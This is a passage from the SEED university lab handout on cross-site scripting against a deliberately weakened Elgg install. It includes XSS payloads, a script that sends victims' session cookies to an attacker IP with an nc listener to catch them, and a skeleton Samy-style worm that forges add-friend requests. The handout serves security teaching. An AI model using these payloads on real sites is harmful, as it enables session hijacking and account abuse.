

Cross-Site Scripting (XSS) Attack Lab

(Web Application: Elgg)

Copyright © 2006 - 2016 Wenliang Du, Syracuse University.

The development of this document was partially funded by the National Science Foundation under Award No. 1303306 and 1318814. This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. A human-readable summary of (and not a substitute for) the license is the following: You are free to copy and redistribute the material in any medium or format. You must give appropriate credit. If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original. You may not use the material for commercial purposes.

1 Overview

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, attackers can steal a victim's credentials, such as session cookies. The access control policies (i.e., the same origin policy) employed by browsers to protect those credentials can be bypassed by exploiting XSS vulnerabilities. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web application named `Elgg` in our pre-built Ubuntu VM image. `Elgg` is a very popular open-source web application for social network, and it has implemented a number of countermeasures to remedy the XSS threat. To demonstrate how XSS attacks work, we have commented out these countermeasures in `Elgg` in our installation, intentionally making `Elgg` vulnerable to XSS attacks. Without the countermeasures, users can post any arbitrary message, including JavaScript programs, to the user profiles. In this lab, students need to exploit this vulnerability to launch an XSS attack on the modified `Elgg`, in a way that is similar to what Samy Kamkar did to `MySpace` in 2005 through the notorious Samy worm. The ultimate goal of this attack is to spread an XSS worm among the users, such that whoever views an infected user profile will be infected, and whoever is infected will add you (i.e., the attacker) to his/her friend list. This lab covers the following topics:

- Cross-Site Scripting attack
- XSS worm and self-propagation
- Session cookies
- HTTP GET and POST requests
- JavaScript and Ajax

Readings. Detailed coverage of the Cross-Site Scripting attack can be found in Chapter 10 of the SEED book, *Computer Security: A Hands-on Approach*, by Wenliang Du.

Lab environment. This lab has been tested on our pre-built Ubuntu 16.04 VM, which can be downloaded from the SEED website.

2 Lab Environment

This lab can only be conducted in our Ubuntu 16.04 VM, because of the configurations that we have performed to support this lab. We summarize these configurations in this section.

The Elgg Web Application. We use an open-source web application called Elgg in this lab. Elgg is a web-based social-networking application. It is already set up in the pre-built Ubuntu VM image. We have also created several user accounts on the Elgg server and the credentials are given below.

User	UserName	Password
Admin	admin	seedelgg
Alice	alice	seedalice
Boby	boby	seedboby
Charlie	charlie	seedcharlie
Samy	samy	seedsamy

DNS Configuration. We have configured the following URL needed for this lab. The folder where the web application is installed and the URL to access this web application are described in the following:

```
URL: http://www.xsslabelgg.com
Folder: /var/www/XSS/Elgg/
```

The above URL is only accessible from inside of the virtual machine, because we have modified the `/etc/hosts` file to map the domain name of each URL to the virtual machine's local IP address (127.0.0.1). You may map any domain name to a particular IP address using `/etc/hosts`. For example, you can map `http://www.example.com` to the local IP address by appending the following entry to `/etc/hosts`:

```
127.0.0.1      www.example.com
```

If your web server and browser are running on two different machines, you need to modify `/etc/hosts` on the browser's machine accordingly to map these domain names to the web server's IP address, not to 127.0.0.1.

Apache Configuration. In our pre-built VM image, we used Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named `000-default.conf` in the directory `" /etc/apache2/sites-available"` contains the necessary directives for the configuration:

Inside the configuration file, each web site has a `VirtualHost` block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. The following examples show how to configure a website with URL `http://www.example1.com` and another website with URL `http://www.example2.com`:

```
<VirtualHost *>
    ServerName http://www.example1.com
    DocumentRoot /var/www/Example_1/
</VirtualHost>
```

```
<VirtualHost *>
    ServerName http://www.example2.com
    DocumentRoot /var/www/Example_2/
</VirtualHost>
```

You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application `http://www.example1.com` can be changed by modifying the sources in the `/var/www/Example_1/` directory. After a change is made to the configuration, the Apache server needs to be restarted. See the following command:

```
$ sudo service apache2 start
```

3 Lab Tasks

3.1 Preparation: Getting Familiar with the "HTTP Header Live" tool

In this lab, we need to construct HTTP requests. To figure out what an acceptable HTTP request in Elgg looks like, we need to be able to capture and analyze HTTP requests. We can use a Firefox add-on called "HTTP Header Live" for this purpose. Before you start working on this lab, you should get familiar with this tool. Instructions on how to use this tool is given in the Guideline section (§ 4.1).

3.2 Task 1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to embed a JavaScript program in your Elgg profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed. The following JavaScript program will display an alert window:

```
<script>alert('XSS');</script>
```

If you embed the above JavaScript code in your profile (e.g. in the brief description field), then any user who views your profile will see the alert window.

In this case, the JavaScript code is short enough to be typed into the short description field. If you want to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can store the JavaScript program in a standalone file, save it with the `.js` extension, and then refer to it using the `src` attribute in the `<script>` tag. See the following example:

```
<script type="text/javascript"
    src="http://www.example.com/myscripts.js">
</script>
```

In the above example, the page will fetch the JavaScript program from `http://www.example.com`, which can be any web server.

3.3 Task 2: Posting a Malicious Message to Display Cookies

The objective of this task is to embed a JavaScript program in your Elgg profile, such that when another user views your profile, the user's cookies will be displayed in the alert window. This can be done by adding some additional code to the JavaScript program in the previous task:

```
<script>alert(document.cookie);</script>
```

3.4 Task 3: Stealing Cookies from the Victim's Machine

In the previous task, the malicious JavaScript code written by the attacker can print out the user's cookies, but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

We can do this by having the malicious JavaScript insert an `` tag with its `src` attribute set to the attacker's machine. When the JavaScript inserts the `img` tag, the browser tries to load the image from the URL in the `src` field; this results in an HTTP GET request sent to the attacker's machine. The JavaScript given below sends the cookies to the port 5555 of the attacker's machine (with IP address 10.1.2.5), where the attacker has a TCP server listening to the same port.

```
<script>document.write('<img src=http://10.1.2.5:5555?c='  
+ escape(document.cookie) + '>');  
</script>
```

A commonly used program by attackers is `netcat` (or `nc`), which, if running with the `"-l"` option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client and sends to the client whatever is typed by the user running the server. Type the command below to listen on port 5555:

```
$ nc -l 5555 -v
```

The `"-l"` option is used to specify that `nc` should listen for an incoming connection rather than initiate a connection to a remote host. The `"-v"` option is used to have `nc` give more verbose output.

The task can also be done with only one VM instead of two. For one VM, you should replace the attacker's IP address in the above script with 127.0.0.1. Start a new terminal and then type the `nc` command above.

3.5 Task 4: Becoming the Victim's Friend

In this and next task, we will perform an attack similar to what Samy did to MySpace in 2005 (i.e. the Samy Worm). We will write an XSS worm that adds Samy as a friend to any other user that visits Samy's page. This worm does not self-propagate; in task 6, we will make it self-propagating.

In this task, we need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. The objective of the attack is to add Samy as a friend to the victim. We have already created a user called Samy on the Elgg server (the user name is samy).

To add a friend for the victim, we should first find out how a legitimate user adds a friend in Elgg. More specifically, we need to figure out what are sent to the server when a user adds a friend. Firefox's HTTP inspection tool can help us get the information. It can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the parameters in the request. Section 4 provides guidelines on how to use the tool.

Once we understand what the add-friend HTTP request look like, we can write a Javascript program to send out the same HTTP request. We provide a skeleton JavaScript code that aids in completing the task.

```
<script type="text/javascript">  
window.onload = function () {  
    var Ajax=null;  
  
    var ts="__elgg_ts="+elgg.security.token.__elgg_ts; ①
```

```
var token="__elgg_token="+elgg.security.token.__elgg_token; ②

//Construct the HTTP request to add Samy as a friend.
var sendurl=...; //FILL IN

//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
```

The above code should be placed in the "About Me" field of Samy's profile page. This field provides two editing modes: Editor mode (default) and Text mode. The Editor mode adds extra HTML code to the text typed into the field, while the Text mode does not. Since we do not want any extra code added to our attacking code, the Text mode should be enabled before entering the above JavaScript code. This can be done by clicking on "Edit HTML", which can be found at the top right of the "About Me" text field.